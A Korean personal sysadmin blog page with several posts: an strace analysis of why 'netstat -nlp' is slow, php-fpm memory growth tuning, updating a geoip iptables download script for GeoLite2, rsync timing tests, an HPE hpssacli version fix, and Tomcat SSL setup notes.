7129 12443 15:30:58 exit_group(0)            = ?

7130 12443 15:30:58 +++ exited with 0 +++


겁내 길다 하지만 진득하게 해보자


첫줄부터


   1 12443 15:30:53 execve("/bin/netstat", ["netstat", "-nlp"], [/* 23 vars */]) = 0

   2 12443 15:30:53 brk(0)                   = 0x1994000

   3 12443 15:30:53 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc359886000

   4 12443 15:30:53 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)

   5 12443 15:30:53 open("/etc/ld.so.cache", O_RDONLY) = 3

   6 12443 15:30:53 fstat(3, {st_mode=S_IFREG|0644, st_size=30677, ...}) = 0


맨앞에필드는 12443는 PID다. netstat -nlp 입력했을 때의 PID 

[root@test ~]# ps -ef | grep netstat

root      9157 12279 23 14:30 pts/4    00:00:00 strace -s 65535 -f -t -o strace_netstat2 netstat -nlp

root      12443  9157  8 14:30 pts/4    00:00:00 netstat -nlp


세번째부터가 이제 어떤 시스템콜(C 함수들)이 이용됐는지가 나온다. execve brk mmap access open fstat 등등 각 함수들마다 구글링해보면 다 뭐 나온다. 뭐 변수가 어쩌고 확장이 어쩌고 저쩌고 ... 하여튼

execve 함수는 다른 프로그램을 실행하고 자신은 종료한댄다. 즉 netstat 명령어를 실행하면 execve 함수로 netstat를 실행하는듯~?

brk는 데이터 세그먼트의 영역을 넓혀준다.  라고 한다.


뭐 netstat 가 어떤식으로 구동되는지까지 알필요는 없으니까... 느려지는 부분부터 한번 봐보자.


우선 netstat에 필요한 라이브러리들

~]# ldd /bin/netstat

        linux-vdso.so.1 =>  (0x00007ffc5d6f0000)

        libselinux.so.1 => /lib64/libselinux.so.1 (0x00007f4021263000)

        libc.so.6 => /lib64/libc.so.6 (0x00007f4020ecf000)

        libdl.so.2 => /lib64/libdl.so.2 (0x00007f4020cca000)

        /lib64/ld-linux-x86-64.so.2 (0x0000562a176ac000)


   1 21682 14:52:28 execve("/bin/netstat", ["netstat", "-nlp"], [/* 24 vars */]) = 0

   2 21682 14:52:28 brk(0)                   = 0x1914000

   3 21682 14:52:28 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc716503000

   4 21682 14:52:28 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)

   5 21682 14:52:28 open("/etc/ld.so.cache", O_RDONLY) = 3

   6 21682 14:52:28 fstat(3, {st_mode=S_IFREG|0644, st_size=30677, ...}) = 0

   7 21682 14:52:28 mmap(NULL, 30677, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fc7164fb000

   8 21682 14:52:28 close(3)                 = 0

   9 21682 14:52:28 open("/lib64/libselinux.so.1", O_RDONLY) = 3


ldd로 나온 라이브러리들 순서대로 불러온다. libselinux.so.1 부터 llibdl.so.2 


근데 보는것처럼 linux-vdso.so.1 이건 없다. 아마 4번째 라인에 노써치파일이 아마 이게 아닐까 ?

그리고 /lib64/ld-linux-x86-64.so.2 이것도 없다.  근데 이건 no such file  에러도 없다.  아유 어쨋든..


대충 1~50라인까지는 라이브러리 불러오는거고 60라인쯤부터 1800 라인까지는 centos 구동시 기본으로 실행되는 데몬들 open 한다.

root      1986     2  0  2018 ?        00:01:26 [edac-poller]

root      2156     2  0  2018 ?        00:00:00 [kipmi0]

root      2684     2  0  2018 ?        00:00:00 [jbd2/sda1-8]

root      2685     2  0  2018 ?        00:00:00 [ext4-dio-unwrit]

root      2717     2  0  2018 ?        00:00:00 [kauditd]

root      2893  1787  0  2018 ?        00:00:00 /sbin/udevd -d

root      2894  1787  0  2018 ?        00:00:00 /sbin/udevd -d

root      2898     2  0  2018 ?        00:10:10 [flush-8:0]

root      2963     1  0  2018 ?        00:01:01 /sbin/rsyslogd -i /var/run/syslogd.pid -c 5

root      2983     1  0  2018 ?        00:00:25 /usr/sbin/sshd

root      2997     1  0  2018 ?        00:00:00 /usr/sbin/vsftpd /etc/vsftpd/vsftpd.conf

root      3009     1  0  2018 ?        00:01:46 crond

nobody    3278     1  0  2018 ?        00:03:04 /usr/local/checker/sbin/thttpd -C /usr/local/checker/etc/thttpd.conf

root      3561     1  0  2018 ?        00:34:50 /opt/apache/bin/httpd -k start

root      4103     1  0  2018 tty1     00:00:00 /sbin/mingetty /dev/tty1

root      4105     1  0  2018 tty2     00:00:00 /sbin/mingetty /dev/tty2

root      4107     1  0  2018 tty3     00:00:00 /sbin/mingetty /dev/tty3

root      4109     1  0  2018 tty4     00:00:00 /sbin/mingetty /dev/tty4

root      4111     1  0  2018 tty5     00:00:00 /sbin/mingetty /dev/tty5

root      4113     1  0  2018 tty6     00:00:00 /sbin/mingetty /dev/tty6

daemon   11230  3561 36 15:29 ?        00:02:33 /opt/apache/bin/httpd -k start

root     11938     1  0 15:30 ?        00:00:00 /usr/bin/python -Es /usr/bin/fail2ban-server -s /var/run/fail2ban/fail2ban.sock -p /var/run/fail2ban/fail2ban.pid -x -b

daemon   12878  3561 36 15:31 ?        00:01:42 /opt/apache/bin/httpd -k start

daemon   12900  3561 35 15:31 ?        00:01:37 /opt/apache/bin/httpd -k start

daemon   12902  3561 36 15:31 ?        00:01:42 /opt/apache/bin/httpd -k start

daemon   13409  3561 36 15:32 ?        00:01:24 /opt/apache/bin/httpd -k start

daemon   13411  3561 37 15:32 ?        00:01:26 /opt/apache/bin/httpd -k start


위와같이 실행돼있는 프로세스들중

root      2894  1787  0  2018 ?        00:00:00 /sbin/udevd -d

root      2898     2  0  2018 ?        00:10:10 [flush-8:0]

root      2963     1  0  2018 ?        00:01:01 /sbin/rsyslogd -i /var/run/syslogd.pid -c 5

root      2983     1  0  2018 ?        00:00:25 /usr/sbin/sshd

여기까지가 아마 os 구동시 기본으로 구동되는 데몬이라고 생각할 수 있을것같다.


strace 파일 보면

1992 12443 15:30:53 open("/proc/2983/attr/current", O_RDONLY) = 5

1993 12443 15:30:53 read(5, 0x19a53e0, 4095) = -1 EINVAL (Invalid argument)

1994 12443 15:30:53 close(5)                 = 0

1995 12443 15:30:53 readlink("/proc/2983/fd/4", "socket:[12960]", 29) = 14

1996 12443 15:30:53 open("/proc/2983/attr/current", O_RDONLY) = 5

1997 12443 15:30:53 read(5, 0x19a5440, 4095) = -1 EINVAL (Invalid argument)

1998 12443 15:30:53 close(5)                 = 0

1999 12443 15:30:53 getdents(4, /* 0 entries */, 32768) = 0

2000 12443 15:30:53 close(4)                 = 0

2001 12443 15:30:53 open("/proc/2997/fd", O_RDONLY|O_NONBLOCK|O_DIRECTORY|O_CLOEXEC) = 4

2002 12443 15:30:53 getdents(4, /* 3 entries */, 32768) = 72

2003 12443 15:30:53 readlink("/proc/2997/fd/3", "socket:[12989]", 29) = 14

2004 12443 15:30:53 open("/proc/2997/cmdline", O_RDONLY) = 5

2005 12443 15:30:53 read(5, "/usr/sbin/vsftpd\0/etc/vsftpd/vsftpd.conf\0", 511) = 41

2006 12443 15:30:53 close(5)                 = 0

2007 12443 15:30:53 open("/proc/2997/attr/current", O_RDONLY) = 5

이제 대충 어떤느낌인지 알겠다. 

netstat -nlp 하면 모든 프로세스들 불러오고 그중에 데몬 리스트를 pid랑 port랑 이런식으로 출력해주는거니까


1.netstat -nlp 입력시 netstat에 사용되는 라이브러리를 open mmap read close등을 진행 - 50라인쯤

2.OS에 올라와있는 모든 프로세스를 pid순으로 open/작업(getdents,read,readlink등)/close 진행 - 5400라인쯤

ㄴnetstat -nlp는 정보를 보는거니까 당연히 위와같은 디렉토리엔트리를 불러오거나 뭘 읽거나 하겠죠?

3.5400라인쯤부터 이제 netstat -nlp했을 때 나오는 문장들을 write 함수로 쓴다.

정확히는 12443 15:30:56 open("/proc/net/tcp6", O_RDONLY) = 3 이런식으로 /proc/net/tcp6 을 불러와서

12443 15:30:56 read(3, "  sl  local_address                         remote_address                        st tx_queue

위와같이 읽은다음 

12443 15:30:56 write(1, "tcp        0      0 :::5000                     :::*                        LISTEN      3278/thttpd         \n", 109) = 109

이렇게 실제로 write를 한다.



##########

여담

5392 12443 15:30:54 open("/usr/share/locale/locale.alias", O_RDONLY|O_CLOEXEC) = 3

5393 12443 15:30:54 fstat(3, {st_mode=S_IFREG|0644, st_size=2512, ...}) = 0

5394 12443 15:30:54 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fc359885000

5395 12443 15:30:54 read(3 어쩌구 저쩌구 /usr/share/locale/locale.alias 내용 나옴)

netstat -nlp 했는데 위 파일을 왜 열지 ? 궁금해서 이 파일 삭제하고서 netstat -nlp 실행해봤다.

1044 29673 16:02:34 open("/usr/share/locale/locale.alias", O_RDONLY|O_CLOEXEC) = -1 ENOENT (No such file or directory)

1045 29673 16:02:34 open("/usr/share/locale/en_US.UTF-8/LC_MESSAGES/net-tools.mo", O_RDONLY) = -1 ENOENT (No such file or directory)

1046 29673 16:02:34 open("/usr/share/locale/en_US.utf8/LC_MESSAGES/net-tools.mo", O_RDONLY) = -1 ENOENT (No such file or directory)

1047 29673 16:02:34 open("/usr/share/locale/en_US/LC_MESSAGES/net-tools.mo", O_RDONLY) = -1 ENOENT (No such file or directory)

그냥 에러나고 끝이다. 실행도 잘된다. 근데 내가 에러를 못찾은거일수도있다. 하고자 하는 말이뭐냐면... 그냥 뭐랄까 별에 별파일을 다 쓰는구나. 함부로 지우지말자.

#######

4.그리고 exit_group 끝





자 이글의 목적인 netstat -nlp 시 왜 특정구간(sshd 데몬쪽)에서 느려지는건지 이제 이유가 보인다.


6270 12443 15:30:56 write(1, "tcp        0      0 :::5000                     :::*                        LISTEN      3278/thttpd         \n", 109) = 109

6271 12443 15:30:56 write(1, "tcp        0      0 :::81                       :::*                        LISTEN      3561/httpd          \n", 109) = 109

6272 12443 15:30:56 write(1, "tcp        0      0 :::22                       :::*                        LISTEN      2983/sshd           \n", 109) = 109

6273 12443 15:30:56 read(3, "00000000000000FFFF00006F7926DA:0051 0000000000000000FFFF00006F7926DA:B4EE 06 00000000:00000000 03:00000000 00000000     0        0 0 3 ffff880c74c5a940\n   6: 0000000000000000FFFF00

     006F7926DA:0051 0000000000000000FFFF00006F7926DA:CFA8 06 00000000:00000000 03:0000115F 00000000     0        0 0 3 ffff880939ba0580\n   7: 0000000000000000FFFF00006F7926DA:0051 0000000000000000FFFF00006F79

     26DA:D73A 06 00000000:00000000 03:000016E8 00000000     0        0 0 3 ffff880814409840\n   8: 0000000000000000FFFF00006F7926DA:0051 0000000000000000FFFF00006F7926DA:A626 06 00000000:00000000 03:00000000 0

     0000000     0        0 0 3 ffff880c76532440\n   9: 0000000000000000FFFF00006F7926DA:0051 0000000000000000FFFF00006F7926DA:A708 06 00000000:00000000 03:00000000 00000000     0        0 0 3 ffff88086fff6200\

     n  10: 0000000000000000FFFF00006F7926DA:0051 0000000000000000FFFF00006F7926DA:D7A6 06 00000000:00000000 03:00001730 00000000     0        0 0 3 ffff880927c64200\n  11: 0000000000000000FFFF00006F7926DA:0051

      0000000000000000FFFF00006F79", 1024) = 1024




이런식으로 6273 같은 라인이 진짜 어~~~마무시하게 read가 많이 이루어진다.

거의 800라인 가까이 위와같은 read작업이 이루어진다. 다른 정상인 서버들은 저러지 않는다. 저 read작업이 뭔지 알면되겠다.


5418 12443 15:30:54 read(3, "                         \n   6: 6F7926DA:C56A 6F7926DA:0051 06 00000000:00000000 03:00000B1B 00000000     0        0 0 3 

ffff8808728b24c0                                      \n   7: 6F7926DA:0050 9158E6C0:A773 06 00000000:00000000 03:00000000 00000000     0        0 0 3 

ffff88086f41e280                                      \n   8: 6F7926DA:0050 2158E6C0:     E732 06 00000000:00000000 03:00000000 00000000     0        0 0 3 

ffff880871e65dc0                                      \n   9: 6F7926DA:D3A8 6F7926DA:0051 06 00000000:00000000 03:00001533 00000000     0        0 0 3 

ffff880c77a5bdc0                                      \n  10: 6F7926DA:C4D6 6F7926DA:0051 06 00000000:00000000 03:00000AB8 00000000     0        0 0 3 

ffff880c751e3cc0                                      \n  11: 6F7926DA:0050 0158E6C0:92FB 06 00000000:00000000 03:00000000 00000000     0        0 0 3 

ffff88087048b580                                      \n  12: 6F7926DA:CF10 6F7926DA:0051 06 00000000:00000000 03:00001205 00000000     0        0 0 3 fff", 1024) = 1024


netstat -nlp 했을 때/proc/net/tcp /proc/net/tcp6 두 파일을 베이스로 netstat는 출력하는 명령어다. (자세한건 https://www.joinc.co.kr/w/Site/system_programing/proc/NetState)

/proc/net/tcp 는 tcp 정보를 아스키형태로 저장된 파일임

netstat -nlp 했을 때 출력되는건 TIME_WAIT이 배제된채로 출력되지만 실제로는 /proc/net/tcp 이거를 전부 read 하게 된다.  /proc/net/tcp여기에는 TIME_WAIT 관련 정보까지 전부 저장되기 때문에 TIME_WAIT이 많은 서버들에서 대체로 netstat -nlp 가 오래걸린다.


처음에는 sshd 명령어 이후에 딜레이 되니까 ssh쪽이 뭐 문제인가 아니면 thttpd를 불러오는데 뭐가 문제인가 싶었는데 완전 틀렸다.









'job > linux' 카테고리의 다른 글

nodejs npm , socket.io 설치  (0) 2019.04.10
ionice  (1) 2019.04.09
php-fpm 메모리 사용률 확인하고 튜닝하기  (2) 2019.02.20
geoip iptables 설치  (2) 2019.02.15
rsync를 통한 파일 전송시 속도 테스트  (0) 2018.12.06

php-fpm 메모리 누수, 사용률 확인하기


현재상황
서버 메모리 16GB

php memory limit 기본 설정(128MB)
ㄴ)메모리 리밋은 말그대로 php에서 어떤 작업을 할 때 사용할 수 있는 최대 메모리양이다. 

(예를들어 php를 통해 파일을 업로드할경우 메모리에 먼저 적재가 되기 때문에 memory_limit 값보다 높은파일은 업로드가 안됨)

pm.max_children = 50
ㄴphp-fpm의 자식프로세스 최대 갯수

pm.start_servers = 5

ㄴphp-fpm 실행하면 처음부터 실행돼잇는 자식 프로세스 갯수

pm.min_spare_servers = 5

pm.max_spare_servers = 35

ㄴmin/max값을 벗어나면 서버에서 최대한 저 값을 맞추려고 노력함


엔진엑스-php-fpm 사용중

 ~]# netstat -nlp

Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    

tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      6374/php-fpm: pool  

tcp        0      0 0.0.0.0:2221            0.0.0.0:*               LISTEN      3162/sshd           

tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      7420/nginx: master  



~]# sar -r | awk '{print $1"  "$5}'

12:00:01  %memused

12:10:02  48.52

12:20:01  49.46

12:30:01  50.59

12:40:01  51.56

12:50:01  52.74

중략

03:00:01  61.27

03:10:01  61.64

03:20:01  62.09

03:30:01  62.62

03:40:02  62.73

03:50:01  63.13

04:00:01  63.26

04:10:01  63.74

중략

09:10:01  78.38

09:20:01  78.95

09:30:01  79.87

09:40:01  80.27

09:50:01  81.05


[root@ ~]# ps -ef | grep php-fpm | wc -l

37


[root@ ~]# ps -aux | grep php-fpm | awk '{print $1"  " $6/1024" MB"}'

php-fpm  342.27 MB

php-fpm  340.383 MB

php-fpm  302.711 MB

php-fpm  284.441 MB

php-fpm  227.84 MB

php-fpm  227.137 MB

root  30.1016 MB

php-fpm  561.434 MB

php-fpm  562.66 MB

php-fpm  561.309 MB

php-fpm  561.824 MB

php-fpm  561.129 MB

php-fpm  561.129 MB

php-fpm  561.176 MB

php-fpm  562.145 MB

php-fpm  561.16 MB

php-fpm  558.332 MB

php-fpm  221.172 MB

php-fpm  213.012 MB

php-fpm  213.227 MB

php-fpm  212.008 MB

php-fpm  212.664 MB

php-fpm  212.996 MB

php-fpm  213.375 MB

php-fpm  207.363 MB

php-fpm  511.531 MB

php-fpm  509.504 MB

php-fpm  509.344 MB

root  0.953125 MB

php-fpm  182.289 MB

php-fpm  181.621 MB

php-fpm  181.457 MB

php-fpm  176.219 MB

php-fpm  175.359 MB

php-fpm  174.516 MB

php-fpm  172.77 MB

php-fpm  169.117 MB


]# php test.php

echo memory_get_usage(); 349976

echo memory_get_peak_usage(); 384968





현재상황은 위와같이

1.시간이 지날수록 메모리 점유율이 올라간다. 그러다 마지막에는 oom 발생
2.php-fpm 에서의 메모리 사용률이 너무 높다. 처음에는 100MB에서 200MB 300MB 지금처럼 500MB이상까지도 차다가 마지막에 oom 발생
3.php-fpm 자식프로세스의 갯수는 37개로 pm.max_children 수치에는 못미친다. 따라서 해당 설정의 수치를 변경한다해서 해결이되지 않는다. 

4.php 에서 사용한 최대 메모리가 1메가도 안된다. 

ㄴmemory_get_peak_usage(); 384968 바이트 단위임, 메가로 환산하면 0.4메가도 안됨


궁금한점

Q)1.php.ini 의 memory_limit 이랑 php-fpm.conf 의 memory_limit 설정은 같은거고 우선순위가 있는건가 ?? 아니면 다른개념인가 ?

A)같은개념이고 우선순위는 php-fpm.conf가 먼저.. 서버 / htaccess / 소스 순인것처럼 

해당 서버의 php에서 사용된 최대 메모리는 1메가도 안되니까 memory_limit은 튜닝할필요가 없는거고. 또 추가로 자잘자잘한 엄청 수많은 작업이 종료되지않고 계속 사용하고 있따고 봐야할듯


2.php-fpm의 자식프로세스가 사용하는 memory limit은 설정이 없나 ? 


3.php-fpm의 자식프로세스들은 어떡하다가 500MB 이상씩의 메모리를 사용하게 됐지 ? 이걸 확인하는 방법은 ?(누수인지 아닌지 확인하고싶다.)

ㄴphp-fpm 자식프로세스들의 PID를 엔진엑스 어세스 로그에 남겨보는방법 ?

ㄴ아니면 php-fpm status 볼 수 있는 툴이 있나 ?






이제부터 지금 상황이 정말 메모리 누수가 맞는지. 맞다면 왜 누수가 일어나는지 알아보자.

1.netstat -an | grep -v TIME_WAIT 했을 때 수상한거 없이 소켓잘 닫히고 있음.

2.keep alive 65로 설정돼있음



으악 생각보다 너무 쉽게 원인을 찾은것같다.
https://xetown.com/tips/1171902

php-fpm 자체가 기본설정시 메모리 사용 누적이랜다...;; 

나는 소스단에서 뭔가 잘못짜여져 있어서 메모리 누수가 있는줄알았는데.. 


일단 php-fpm 아무설정도 안하면 pm.max_requests 값은 무한대라서 메모리 누수가 계속 쌓이다. 따라서 pm.max_requests 500 으로 설정해주고 한번 지켜보자.


'job > linux' 카테고리의 다른 글

ionice  (1) 2019.04.09
strace debug  (0) 2019.02.21
geoip iptables 설치  (2) 2019.02.15
rsync를 통한 파일 전송시 속도 테스트  (0) 2018.12.06
hpssacli 설치했는데 잘 안됨  (1) 2018.12.05

기존에 geoip iptables 설치하려면



./geoip/xt_geoip_dl"


./geoip/xt_geoip_build GeoIPCountryWhois.csv"


이부분 진행했었는데 이중에서 ./geoip/xt_geoip_dl" 요거 이제 에러난다.


~/geoip/xtables-addons-1.47.1/geoip]# ./xt_geoip_dl  

--2019-02-15 10:45:49--  http://geolite.maxmind.com/download/geoip/database/GeoIPv6.csv.gz

Resolving geolite.maxmind.com... 104.16.37.47, 104.16.38.47, 2606:4700::6810:262f, ...

Connecting to geolite.maxmind.com|104.16.37.47|:80... connected.

HTTP request sent, awaiting response... 404 Not Found

2019-02-15 10:45:50 ERROR 404: Not Found.


--2019-02-15 10:45:50--  http://geolite.maxmind.com/download/geoip/database/GeoIPCountryCSV.zip

Connecting to geolite.maxmind.com|104.16.37.47|:80... connected.

HTTP request sent, awaiting response... 404 Not Found

2019-02-15 10:45:50 ERROR 404: Not Found.


gzip: GeoIPv6.csv.gz: No such file or directory

unzip:  cannot find or open GeoIPCountryCSV.zip, GeoIPCountryCSV.zip.zip or GeoIPCountryCSV.zip.ZIP.




http://geolite.maxmind.com/download/geoip/database/GeoIPv6.csv.gz

http://geolite.maxmind.com/download/geoip/database/GeoIPCountryCSV.zip


위 두 파일이 없다고 한다. 실제로 홈페이지 들어가보면 not found 뜬다. 파일이 없다.

http://geolite.maxmind.com/download/geoip/database/ 여기까지만 들어가보면 홈페이지가 바꼈다.

https://dev.maxmind.com/geoip/geoip2/geolite2/ 여기로 들어가진다.


geolite2가 나오면서 저 파일들도 없어지고 뭐 이것저것 한것같다.


그럼 어떡해야할까 우리는 설치하고싶은데 


http://geolite.maxmind.com/download/geoip/database/GeoIPv6.csv.gz

http://geolite.maxmind.com/download/geoip/database/GeoIPCountryCSV.zip

위 두파일이 뭐로 대체됐는지 찾으면 되겠찌 ?

사실 가장 정확한 방법은 새로 변경된 geolite2 를 이용해 iptables에 적용을 해야하는데... 모르겠다. 어렵다


하여튼 다운로드 경로 들어가보면 아래 파일들이 보인다.


GeoLite2 City

GeoLite2 Country

GeoLite2 ASN (Autonomous System Number)


이중에서 시티는 말그대로 도시일꺼고 컨츄리는 나라일꺼고 ASN은 들어가보니까 sk 브로드밴드도 있고 kt도 있고한거보니까 통신사 넘버인듯


하여튼 GeoLite2 Country 이거 csv로 다운받는다.


-rw-r--r-- 1 root root 11734000 2019-02-13 07:08 GeoLite2-Country-Blocks-IPv4.csv

-rw-r--r-- 1 root root  3464092 2019-02-13 07:08 GeoLite2-Country-Blocks-IPv6.csv

-rw-r--r-- 1 root root     9864 2019-02-13 07:08 GeoLite2-Country-Locations-de.csv

-rw-r--r-- 1 root root     9937 2019-02-13 07:08 GeoLite2-Country-Locations-en.csv

-rw-r--r-- 1 root root     9992 2019-02-13 07:08 GeoLite2-Country-Locations-es.csv

-rw-r--r-- 1 root root    10230 2019-02-13 07:08 GeoLite2-Country-Locations-fr.csv

-rw-r--r-- 1 root root    14998 2019-02-13 07:08 GeoLite2-Country-Locations-ja.csv

-rw-r--r-- 1 root root    11422 2019-02-13 07:08 GeoLite2-Country-Locations-pt-BR.csv

-rw-r--r-- 1 root root    14932 2019-02-13 07:08 GeoLite2-Country-Locations-ru.csv

-rw-r--r-- 1 root root    11732 2019-02-13 07:08 GeoLite2-Country-Locations-zh-CN.csv


압축 풀어보면 이런식으로 나온다........... 안에 들어가보면 csv 양식이 바꼈따 ...... 흠


https://github.com/mschmitt/GeoLite2xtables

여기에 geolite2 를 기존 geolite .csv 로 컨버팅하는 스크립트가 있다. 요걸로 하면 잘된다 ㅋㅋ


하는방법은 아래와같다.

xt_geoip_dl 파일안의 내용을 
#########

#!/bin/bash


rm -rf GeoLite2-Country-CSV*


wget https://geolite.maxmind.com/download/geoip/database/GeoLite2-Country-CSV.zip

unzip -o -j GeoLite2-Country-CSV.zip '*/GeoLite2-Country-Blocks*'


wget http://download.geonames.org/export/dump/countryInfo.txt


cat GeoLite2-Country-Blocks-IPv{4,6}.csv | ./20_convert_geolite2 CountryInfo.txt > GeoIPCountry.csv

######

20_convert_geolite2 요것만 다운받아주고

ㄴperl 모듈 설치하라고 나오면 cpan -i NetAddr::IP 이거 하면된다.

위와같이 바꿔준다. 그리고 실행하면 된다.

나머지부터는 

check_function "./geoip/xt_geoip_build GeoIPCountry.csv"



mkdir -p /usr/share/xt_geoip

cp -r {BE,LE} /usr/share/xt_geoip/


이거 동일하게 하면됨


ps1.

"perl-Text-CSV_XS"는 쉼표(,)로 이루어진 값들을 구성하고, 분해하는 역할을 하는 패키지입니다. 엑셀 비슷하다고 보시면 됩니다.

"xtables-addons"는 커널/IPTables에서 제공하지 않는 기능을 추가적으로 지원해주는 Addons<확장팩(?) 비슷한 개념>입니다.


출처: https://sata.kr/entry/IPTables-12-IPTables에-GeoIP를-설치해보자-GeoIP-CentOS-6CentOS-7 [SATAz BLOG]

갑자기 rsync로 파일 갯수에 따른 전송 시간이 궁금해졌다.


물론 파일이 많으면 눈에 띄겠지만... 궁금하다. 

(덮어씌기는 안하고 무조건 새파일로만)


테스트 1. 1GB 짜리 1개 파일 전송

receiving incremental file list

1G


sent 30 bytes  received 1073872969 bytes  102273618.95 bytes/sec

total size is 1073741824  speedup is 1.00


real    0m9.587s

user    0m7.625s

sys     0m3.158s


테스트 2. 1GB 짜리 5개 파일 전송

receiving incremental file list

1G

1G_1

1G_2

1G_3

1G_4


sent 106 bytes  received 5369364746 bytes  115470211.87 bytes/sec

total size is 5368709120  speedup is 1.00


real    0m46.234s

user    0m38.213s

sys     0m16.360s


테스트 3. 10GB 짜리 1개 파일 전송

receiving incremental file list

10G


sent 30 bytes  received 10738729034 bytes  114852717.26 bytes/sec

total size is 10737418240  speedup is 1.00


real    1m32.456s

user    1m15.784s

sys     0m32.694s


테스트 4. 1M 짜리 1024개 파일 전송

1M_999


sent 19467 bytes  received 1073920415 bytes  102279988.76 bytes/sec

total size is 1073741824  speedup is 1.00


real    0m10.040s

user    0m7.644s

sys     0m3.206s


테스트 5. 1M 짜리 10240개 파일 전송

1M_9999


sent 194571 bytes  received 10739207487 bytes  112454471.81 bytes/sec

total size is 10737418240  speedup is 1.00


real    1m34.970s

user    1m16.561s

sys     0m32.577s


하다 말았음 






smartctl -a /dev/sda

smartctl 5.43 2016-09-28 r4347 [x86_64-linux-2.6.32-754.6.3.el6.x86_64] (local build)

Copyright (C) 2002-12 by Bruce Allen, http://smartmontools.sourceforge.net


Vendor:               HPE     

Product:              LOGICAL VOLUME  


dmidecode | grep -A2 '^System Information' 

System Information

        Manufacturer: HPE

        Product Name: ProLiant DL380 Gen10


서버 스펙은 위와같다.




아래와같이 명령어 입력시 에러가 발생한다.

hpssacli ctrl all show config


Error: No controllers detected. Possible causes:

        - The driver for the installed controller(s) is not loaded.

        - On LINUX, the scsi_generic (sg) driver module is not loaded.

        See the README file for more details.



드라이버가 제대로 안올라가있나 ? 뭘 받아야하지..


일단 구글링결과


hp 공식 사이트에서는 

#modprobe sg

#modprobe hpsa hpsa_allow_any = 1

위에껄 하랜다.


hpssa 는 sg 라는 드라이버를 사용해서 설치된 컨트롤러 정보를 수집한다고 한다. 기본적으로 레드햇 7.0 은 sg드라이버를 로드하지만 7.1은 로드가 안된된다. 잉 근데 이서버는 6.9 인데 ?? 

일단 위에 명령어대로 했는데 안된다 역시 . 음.. 드라이버 설치가 안된건가.. 뭐지 ? hp 업체에 문의했다. 


hpssacli 를 hp repo 올려가지고 yum 으로 설치했는데 버전이 너무 낮다고 한다. 서버는 gen10인데 해당 서버에서는 안된다고한다.

설치돼있떤 hpssacli 버전은

rpm -qa | grep hpssacli

hpssacli-2.40-13.0.x86_64

이다.


https://support.hpe.com/hpsc/swd/public/detail?sp4ts.oid=null&swItemId=MTX_d5125e2bff7d4e92a1b0fcebc6&swEnvOid=4184

이거 받아가지고 설치하면 잘된다.

설치한 버전은

ssacli-3.30-14.0.x86_64.rpm

잘 된다.


ps.

gen10 부터는 hpssacli가 안먹는다함


tomcat 으로만 구동중인(톰캣만 가지고 80포트로 운영중인)서버에 ssl 인증서 적용하기

(인증서는 코모도같은 인증서발급업체에서 사가지고 csr,key파일까지 발급받은상태임)


구글링 해보면 많은곳에서 keytool 명령어를 이용하여 톰캣에 ssl인증서 적용하는방법을 많이 알려준다.

keytool이란 

Java provides a relatively simple command-line tool, called keytool, which can easily create a "self-signed" Certificate. Self-signed Certificates are simply user generated Certificates which have not been signed by a well-known CA and are, therefore, not really guaranteed to be authentic at all. While self-signed certificates can be useful for some testing scenarios, they are not suitable for any form of production use.


Java는 키툴이라고 하는 비교적 간단한 명령줄 도구를 제공하여 "자체 서명" 인증서를 쉽게 만들 수 있습니다. 자체 서명된 인증서는 단순히 사용자가 생성한 인증서이며, 잘 알려진 CA에서 서명한 것이 아니므로, 실제로 인증되지 않습니다. 자체 서명된 인증서는 일부 테스트 시나리오에 유용할 수 있지만 어떤 형태의 운영 사용에도 적합하지 않습니다.


톰캣 공홈에서 퍼옴  https://tomcat.apache.org/tomcat-9.0-doc/ssl-howto.html


설명만 가지고는 comodo나 rapid 같은 신뢰할 수 있는 인증기관에서 발급해준게 아닌 개인이 생성한 인증서에 대해서만이라고 설명돼있는데 공홈 설명보면 그 뒤로 

Importing the Certificate

Now that you have your Certificate you can import it into you local keystore. First of all you have to import a so called Chain Certificate or Root Certificate into your keystore. After that you can proceed with importing your Certificate.


Download a Chain Certificate from the Certificate Authority you obtained the Certificate from.

For Verisign.com commercial certificates go to: http://www.verisign.com/support/install/intermediate.html

For Verisign.com trial certificates go to: http://www.verisign.com/support/verisign-intermediate-ca/Trial_Secure_Server_Root/index.html

For Trustcenter.de go to: http://www.trustcenter.de/certservices/cacerts/en/en.htm#server

For Thawte.com go to: http://www.thawte.com/certs/trustmap.html

Import the Chain Certificate into your keystore

keytool -import -alias root -keystore <your_keystore_filename>

    -trustcacerts -file <filename_of_the_chain_certificate>

And finally import your new Certificate

keytool -import -alias tomcat -keystore <your_keystore_filename>

    -file <your_certificate_filename>


위와같은 내용이 있는데 즉 keytool 을 이용해서도 인증기관에서 발급된 인증서로 적용할 수 있다는 내용이다. 실제로도 정말많이. 뭐 톰캣은 거의 대부분 keytool로 하고 있다.


keytool을 이용한 인증서 적용은 구글링에서 많이 나오니까 패쓰하고.


여기서는 ssl.key , ssl.crt, 와 인증업체에서 제공하는 체인인증서만 가지고(즉 keytool을 이용하지 않고) 아파치에 적용하는것처럼 톰캣에 적용할꺼다.


그럴려면 tomcat 에 apr라이브러리가 들어가있어야 하낟. 


apr이란 .... 잘 모르겠다 그냥 많은 기능이 포함된 라이브러리(https://kenu.github.io/tomcat70/docs/apr.html 여기보면 아파치 2점대 핵심 라이브러리라는데 근데 왜 아파치 컴파일할 때 apr을 추가로 컴파일해야하지?)이고 이 라이브러리가 톰캣에도 들어가 있으니까 아파치에 인증서 설정하는것마냥 톰캣에도 할 수 있다라고 이해할란다.


하 그냥 이러지말고 애초부터 keytool로 할껄 그랬다.


여튼 다시 정리하자면..


jsse 환경에서는 keytool을 이용하여 인증서를 적용

apr 환경에서는 기존 아파치에 적용하는것마냥 인증서를 적용 인데(톰캣에 apr 라이브러리를 사용한 환경이냐는거지 apr 환경이라는게 아파치-톰캣이 연동된 환경을 말하는게 아니다.)


